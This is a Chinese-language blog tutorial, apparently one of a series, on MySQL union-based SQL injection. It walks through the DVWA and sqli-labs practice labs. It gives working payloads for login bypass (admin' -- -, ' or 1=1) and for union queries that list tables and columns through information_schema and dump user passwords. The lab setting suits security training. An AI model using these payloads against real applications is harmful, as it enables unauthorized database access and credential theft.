SQL注入篇——mysql 联合查询注入

SQL注入篇——对information_schema数据库的解析

SQL注入篇——盲注

SQL注入篇——常用注入语句

SQL注入篇——宽字节注入

SQL注入篇——less21-38最详细教程附带隐藏关卡

SQL注入篇——sqli-labs最详细1-75闯关指南

SQL注入篇——注入工具sqlmap使用详解

sql注入中的常用函数
  • @@datadir 函数

作用:返回数据库的存储目录

  • @@version_compile_os 函数

作用:查看服务器的操作系统

  • concat(str1,str2) 函数

作用:连接两个字符串并传入数据库

  • concat_ws(separator,str1,str2) 函数

作用:用分隔符连接两个字段的字符串

  • group_concat(str1,str2) 函数

作用:将多行查询结果以逗号分隔全部输出

  • group_concat(concat_ws(seperator,str1,str2)) 函数

作用:将多行查询结果以逗号分隔全部输出,每一行的结果可用设置的分隔符作字段的间隔

  • mid()函数

SELECT MID(ColumnName, Start [, Length])
从指定字段中提取出字段的内容
column_name:字段名
start:开始位置
length:长度

  • limit()函数

SELECT * FROM TABLE LIMIT M,N
返回结果中的前几条数据或者中间的数据
m是指从m位开始(第一位为0)
n是指取n条

  • Substr()函数

substr(a,b,c)

截取字符串

a 所要截取字符串
b 截取的位置
c 截取的长度

 

系统信息函数

  • database()

返回当前数据库名

  • connection_id()

返回当前客户的连接id

  • found_rows()

返回最后一个select查询进行检索的总行数

  • user()或system_user()

返回当前登陆用户名

  • version()

返回mysql服务器的版本

 

使用DVWA-master***测试平台进行sql注入

登录界面万能密码注入

1.先将DVWA的安全等级设为low

2.输入万能密码admin' -- -    (注意中间的空格)

3.密码随便,点击提交登录成功

注意问题:此处的万能密码需填写用户名

在不知道有哪些用户的情况下可以用' or 1=1 limit 1 -- -

SQL注入篇——mysql 联合查询注入

查询界面的sql注入

 

一.判断是否存在注入

1' and 1=1 -- -

1' and 1=2 -- -

二.判断有多少列     

1' order by 2 -- -

SQL注入篇——mysql 联合查询注入

SQL注入篇——mysql 联合查询注入

2能正常显示,3就会报错,说明只有两个显示位

三.判断数据显示点     

1' union select 1,2 -- -

SQL注入篇——mysql 联合查询注入

四.查看数据库基本信息

1' union select version(),database() -- -

SQL注入篇——mysql 联合查询注入

五. 查看数据库有哪些表

1' union select 1,(select group_concat(concat(table_name)) from information_schema.tables where table_schema = 'security' ) -- -

SQL注入篇——mysql 联合查询注入

六.查看对应表有哪些列

1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name='users'  ) -- -

SQL注入篇——mysql 联合查询注入

七.查看账号密码信息

1' union select 1,(select group_concat(concat_ws(0x7e,user,password))from users) -- -

SQL注入篇——mysql 联合查询注入

  使用sqli-labs游戏系统进行sql注入

1.首先确定用哪些字符可以进行sql注入

一.选择Less-1进入第一关,在网址中添加标红内容,显示了用户和密码

http://localhost/sqli-labs-master/Less-1/index.php?id=1' and 1=1 -- -

SQL注入篇——mysql 联合查询注入

把1=1改成1=2,不报错也不显示任何信息,说明可以利用 ' 字符注入

SQL注入篇——mysql 联合查询注入

二.进入第二关,在网址中添加标红内容,显示了用户和密码

http://localhost/sqli-labs-master/Less-2/index.php?id=1 and 1=1 -- -

SQL注入篇——mysql 联合查询注入

把1=1改成1=2,不报错也不显示任何信息,说明可以进行整数型注入

SQL注入篇——mysql 联合查询注入

三.进入第三关,在网址中添加标红内容,显示了用户和密码

http://localhost/sqli-labs-master/Less-3/index.php?id=1') and 1=2 -- -

SQL注入篇——mysql 联合查询注入

把1=1改成1=2,不报错也不显示任何信息,说明可以利用 ') 字符注入

SQL注入篇——mysql 联合查询注入

四.进入第四关,在网址中添加标红内容,显示了用户和密码

http://localhost/sqli-labs-master/Less-4/index.php?id=1") and 1=1 -- -

SQL注入篇——mysql 联合查询注入

把1=1改成1=2,不报错也不显示任何信息,说明可以利用 ") 字符注入

SQL注入篇——mysql 联合查询注入

2.确定注入字符后,判断有多少列,标红部分为判断语句,超出列数会报错

http://localhost/sqli-labs-master/Less-1/index.php?id=1' order by 4 -- -

SQL注入篇——mysql 联合查询注入

3.判断数据显示点   (id一定要改为0或负数)

http://localhost/sqli-labs-master/Less-1/index.php?id=0' union select 1,2,3 -- -

SQL注入篇——mysql 联合查询注入

4.然后便可在注入字符后加入sql注入语句

union select 1,user(),database()-- -显示出登录用户和数据库名

union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security' ),3 查看数据库有哪些表

union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name='users'  ),3  查看对应表有哪些列

union select 1,(select group_concat(concat_ws(0x7e,username,password))from users),3   查看账号密码信息

上一篇:sql整数性注入


下一篇:数据库笔记3